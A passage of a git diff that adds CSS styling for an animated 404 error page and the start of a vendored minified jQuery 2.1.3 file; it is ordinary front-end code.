cubic-bezier(0.64, 0.01, 0.07, 1.65); +} +.about:hover .social.dribbble .icon:hover { + background-color: #ea4c89; +} +.about:hover .social.linkedin { + bottom: 0; + right: calc(100% - 40px); + transition: all 0.3s 0.25s cubic-bezier(0.64, 0.01, 0.07, 1.65); +} +.about:hover .social.linkedin .icon:hover { + background-color: #0077b5; +} + +h1, +h2, +h3, +h4, +h5, +h6, +p, +ul, +li, +button, +a, +i, +input, +body { + margin: 0; + padding: 0; + list-style: none; + border: 0; + -webkit-tap-highlight-color: transparent; + text-decoration: none; + color: inherit; +} +h1:focus, +h2:focus, +h3:focus, +h4:focus, +h5:focus, +h6:focus, +p:focus, +ul:focus, +li:focus, +button:focus, +a:focus, +i:focus, +input:focus, +body:focus { + outline: 0; +} + +body { + margin: 0; + padding: 0; + height: auto; + font-family: "Barlow", sans-serif; + background: #695681; +} + +.logo { + position: fixed; + z-index: 5; + bottom: 10px; + right: 10px; + width: 40px; + height: 40px; + border-radius: 100%; + display: flex; + justify-content: center; + align-items: center; + background: rgba(0, 0, 0, 0.1); + border-radius: 100%; + backdrop-filter: blur(5px); +} +.logo img { + width: 55%; + height: 55%; + transform: translateY(-1px); + opacity: 0.8; +} + +nav .menu { + width: 100%; + height: 80px; + position: absolute; + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 5%; + box-sizing: border-box; + z-index: 3; +} +nav .menu .website_name { + color: #695681; + font-weight: 600; + font-size: 20px; + letter-spacing: 1px; + background: white; + padding: 4px 8px; + border-radius: 2px; + opacity: 0.5; + transition: all 0.4s ease; + cursor: pointer; +} +nav .menu .website_name:hover { + opacity: 1; +} +nav .menu .menu_links { + transition: all 0.4s ease; + opacity: 0.5; +} +nav .menu .menu_links:hover { + opacity: 1; +} +@media screen and (max-width: 799px) { + nav .menu .menu_links { + display: none; + } +} +nav .menu .menu_links .link { + color: white; + text-transform: uppercase; + font-weight: 500; + margin-right: 50px; + letter-spacing: 2px; + position: relative; + transition: all 0.3s 0.2s ease; +} +nav .menu .menu_links .link:last-child { + margin-right: 0; +} +nav .menu .menu_links .link:before { + content: ''; + position: absolute; + width: 0px; + height: 4px; + background: linear-gradient(90deg, #FFEDC0 0%, #FF9D87 100%); + bottom: -10px; + border-radius: 4px; + transition: all 0.4s cubic-bezier(0.82, 0.02, 0.13, 1.26); + left: 100%; +} +nav .menu .menu_links .link:hover { + opacity: 1; + color: #FB8A8A; +} +nav .menu .menu_links .link:hover:before { + width: 40px; + left: 0; +} +nav .menu .menu_icon { + width: 40px; + height: 40px; + position: relative; + display: none; + justify-content: center; + align-items: center; + cursor: pointer; +} +@media screen and (max-width: 799px) { + nav .menu .menu_icon { + display: flex; + } +} +nav .menu .menu_icon .icon { + width: 24px; + height: 2px; + background: white; + position: absolute; +} +nav .menu .menu_icon .icon:before, nav .menu .menu_icon .icon:after { + content: ''; + width: 100%; + height: 100%; + background: inherit; + position: absolute; + transition: all 0.3s cubic-bezier(0.49, 0.04, 0, 1.55); +} +nav .menu .menu_icon .icon:before { + transform: translateY(-8px); +} +nav .menu .menu_icon .icon:after { + transform: translateY(8px); +} +nav .menu .menu_icon:hover .icon { + background: #FFEDC0; +} +nav .menu .menu_icon:hover .icon:before { + transform: translateY(-10px); +} +nav .menu .menu_icon:hover .icon:after { + transform: translateY(10px); +} + +.wrapper { + display: grid; + grid-template-columns: 1fr; + justify-content: center; + align-items: center; + height: 100vh; + overflow-x: hidden; +} +.wrapper .container { + margin: 0 auto; + transition: all 0.4s ease; + display: flex; + justify-content: center; + align-items: center; + position: relative; +} +.wrapper .container .scene { + position: absolute; + width: 100vw; + height: 100vh; + vertical-align: middle; +} +.wrapper .container .one, +.wrapper .container .two, +.wrapper .container .three, +.wrapper .container .circle, +.wrapper .container .p404 { + width: 60%; + height: 60%; + top: 20% !important; + left: 20% !important; + min-width: 400px; + min-height: 400px; +} +.wrapper .container .one .content, +.wrapper .container .two .content, +.wrapper .container .three .content, +.wrapper .container .circle .content, +.wrapper .container .p404 .content { + width: 600px; + height: 600px; + display: flex; + justify-content: center; + align-items: center; + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + animation: content 0.8s cubic-bezier(1, 0.06, 0.25, 1) backwards; +} +@keyframes content { + 0% { + width: 0; + } +} +.wrapper .container .one .content .piece, +.wrapper .container .two .content .piece, +.wrapper .container .three .content .piece, +.wrapper .container .circle .content .piece, +.wrapper .container .p404 .content .piece { + width: 200px; + height: 80px; + display: flex; + position: absolute; + border-radius: 80px; + z-index: 1; + animation: pieceLeft 8s cubic-bezier(1, 0.06, 0.25, 1) infinite both; +} +@keyframes pieceLeft { + 50% { + left: 80%; + width: 10%; + } +} +@keyframes pieceRight { + 50% { + right: 80%; + width: 10%; + } +} +@media screen and (max-width: 799px) { + .wrapper .container .one, + .wrapper .container .two, + .wrapper .container .three, + .wrapper .container .circle, + .wrapper .container .p404 { + width: 90%; + height: 90%; + top: 5% !important; + left: 5% !important; + min-width: 280px; + min-height: 280px; + } +} +@media screen and (max-height: 660px) { + .wrapper .container .one, + .wrapper .container .two, + .wrapper .container .three, + .wrapper .container .circle, + .wrapper .container .p404 { + min-width: 280px; + min-height: 280px; + width: 60%; + height: 60%; + top: 20% !important; + left: 20% !important; + } +} +.wrapper .container .text { + width: 60%; + height: 40%; + min-width: 400px; + min-height: 500px; + position: absolute; + margin: 40px 0; + animation: text 0.6s 1.8s ease backwards; +} +@keyframes text { + 0% { + opacity: 0; + transform: translateY(40px); + } +} +@media screen and (max-width: 799px) { + .wrapper .container .text { + min-height: 400px; + height: 80%; + } +} +.wrapper .container .text article { + width: 400px; + position: absolute; + bottom: 0; + z-index: 4; + display: flex; + flex-direction: column; + justify-content: center; + align-items: center; + text-align: center; + bottom: 0; + left: 50%; + transform: translateX(-50%); +} +@media screen and (max-width: 799px) { + .wrapper .container .text article { + width: 100%; + } +} +.wrapper .container .text article p { + color: white; + font-size: 18px; + letter-spacing: 0.6px; + margin-bottom: 40px; + text-shadow: 6px 6px 10px #32243E; +} +.wrapper .container .text article button { + height: 40px; + padding: 0 30px; + border-radius: 50px; + cursor: pointer; + box-shadow: 0px 15px 20px rgba(54, 24, 79, 0.5); + z-index: 3; + color: #695681; + background-color: white; + text-transform: uppercase; + font-weight: 600; + font-size: 12px; + transition: all 0.3s ease; +} +.wrapper .container .text article button:hover { + box-shadow: 0px 10px 10px -10px rgba(54, 24, 79, 0.5); + transform: translateY(5px); + background: #FB8A8A; + color: white; +} +.wrapper .container .p404 { + font-size: 200px; + font-weight: 700; + letter-spacing: 4px; + color: white; + display: flex !important; + justify-content: center; + align-items: center; + position: absolute; + z-index: 2; + animation: anime404 0.6s cubic-bezier(0.3, 0.8, 1, 1.05) both; + animation-delay: 1.2s; +} +@media screen and (max-width: 799px) { + .wrapper .container .p404 { + font-size: 100px; + } +} +@keyframes anime404 { + 0% { + opacity: 0; + transform: scale(10) skew(20deg, 20deg); + } +} +.wrapper .container .p404:nth-of-type(2) { + color: #36184F; + z-index: 1; + animation-delay: 1s; + filter: blur(10px); + opacity: 0.8; +} +.wrapper .container .circle { + position: absolute; +} +.wrapper .container .circle:before { + content: ''; + position: absolute; + width: 800px; + height: 800px; + background-color: rgba(54, 24, 79, 0.2); + border-radius: 100%; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + box-shadow: inset 5px 20px 40px rgba(54, 24, 79, 0.25), inset 5px 0px 5px rgba(50, 36, 62, 0.3), inset 5px 5px 20px rgba(50, 36, 62, 0.25), 2px 2px 5px rgba(255, 255, 255, 0.2); + animation: circle 0.8s cubic-bezier(1, 0.06, 0.25, 1) backwards; +} +@keyframes circle { + 0% { + width: 0; + height: 0; + } +} +@media screen and (max-width: 799px) { + .wrapper .container .circle:before { + width: 400px; + height: 400px; + } +} +.wrapper .container .one .content:before { + content: ''; + position: absolute; + width: 600px; + height: 600px; + background-color: rgba(54, 24, 79, 0.3); + border-radius: 100%; + box-shadow: inset 5px 20px 40px rgba(54, 24, 79, 0.25), inset 5px 0px 5px rgba(50, 36, 62, 0.3), inset 5px 5px 20px rgba(50, 36, 62, 0.25), 2px 2px 5px rgba(255, 255, 255, 0.2); + animation: circle 0.8s 0.4s cubic-bezier(1, 0.06, 0.25, 1) backwards; +} +@media screen and (max-width: 799px) { + .wrapper .container .one .content:before { + width: 300px; + height: 300px; + } +} +.wrapper .container .one .content .piece { + background: linear-gradient(90deg, #8077EA 13.7%, #EB73FF 94.65%); +} +.wrapper .container .one .content .piece:nth-child(1) { + right: 15%; + top: 18%; + height: 30px; + width: 120px; + animation-delay: 0.5s; + animation-name: pieceRight; +} +.wrapper .container .one .content .piece:nth-child(2) { + left: 15%; + top: 45%; + width: 150px; + height: 50px; + animation-delay: 1s; + animation-name: pieceLeft; +} +.wrapper .container .one .content .piece:nth-child(3) { + left: 10%; + top: 75%; + height: 20px; + width: 70px; + animation-delay: 1.5s; + animation-name: pieceLeft; +} +.wrapper .container .two .content .piece { + background: linear-gradient(90deg, #FFEDC0 0%, #FF9D87 100%); +} +.wrapper .container .two .content .piece:nth-child(1) { + left: 0%; + top: 25%; + height: 40px; + width: 120px; + animation-delay: 2s; + animation-name: pieceLeft; +} +.wrapper .container .two .content .piece:nth-child(2) { + right: 15%; + top: 35%; + width: 180px; + height: 50px; + animation-delay: 2.5s; + animation-name: pieceRight; +} +.wrapper .container .two .content .piece:nth-child(3) { + right: 10%; + top: 80%; + height: 20px; + width: 160px; + animation-delay: 3s; + animation-name: pieceRight; +} +.wrapper .container .three .content .piece { + background: #FB8A8A; +} +.wrapper .container .three .content .piece:nth-child(1) { + left: 25%; + top: 35%; + height: 20px; + width: 80px; + animation-name: pieceLeft; + animation-delay: 3.5s; +} +.wrapper .container .three .content .piece:nth-child(2) { + right: 10%; + top: 55%; + width: 140px; + height: 40px; + animation-name: pieceRight; + animation-delay: 4s; +} +.wrapper .container .three .content .piece:nth-child(3) { + left: 40%; + top: 68%; + height: 20px; + width: 80px; + animation-name: pieceLeft; + animation-delay: 4.5s; +} \ No newline at end of file diff --git a/404js/jquery.min.js b/404js/jquery.min.js new file mode 100644 index 0000000000..387d814dc8 --- /dev/null +++ b/404js/jquery.min.js @@ -0,0 +1,5 @@ +/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.3",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=hb(),z=hb(),A=hb(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ab=/[+~]/,bb=/'|\\/g,cb=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),db=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},eb=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fb){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function gb(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(bb,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+rb(o[l]);w=ab.test(a)&&pb(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function hb(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ib(a){return a[u]=!0,a}function jb(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function kb(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function lb(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function mb(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function nb(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function ob(a){return ib(function(b){return b=+b,ib(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pb(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=gb.support={},f=gb.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=gb.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",eb,!1):e.attachEvent&&e.attachEvent("onunload",eb)),p=!f(g),c.attributes=jb(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=jb(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=jb(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(jb(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),jb(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&jb(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return lb(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?lb(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},gb.matches=function(a,b){return gb(a,null,null,b)},gb.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return gb(b,n,null,[a]).length>0},gb.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},gb.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},gb.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},gb.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=gb.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=gb.selectors={cacheLength:50,createPseudo:ib,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(cb,db),a[3]=(a[3]||a[4]||a[5]||"").replace(cb,db),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||gb.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&gb.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(cb,db).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=gb.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||gb.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ib(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ib(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ib(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ib(function(a){return function(b){return gb(a,b).length>0}}),contains:ib(function(a){return a=a.replace(cb,db),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ib(function(a){return W.test(a||"")||gb.error("unsupported lang: "+a),a=a.replace(cb,db).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return 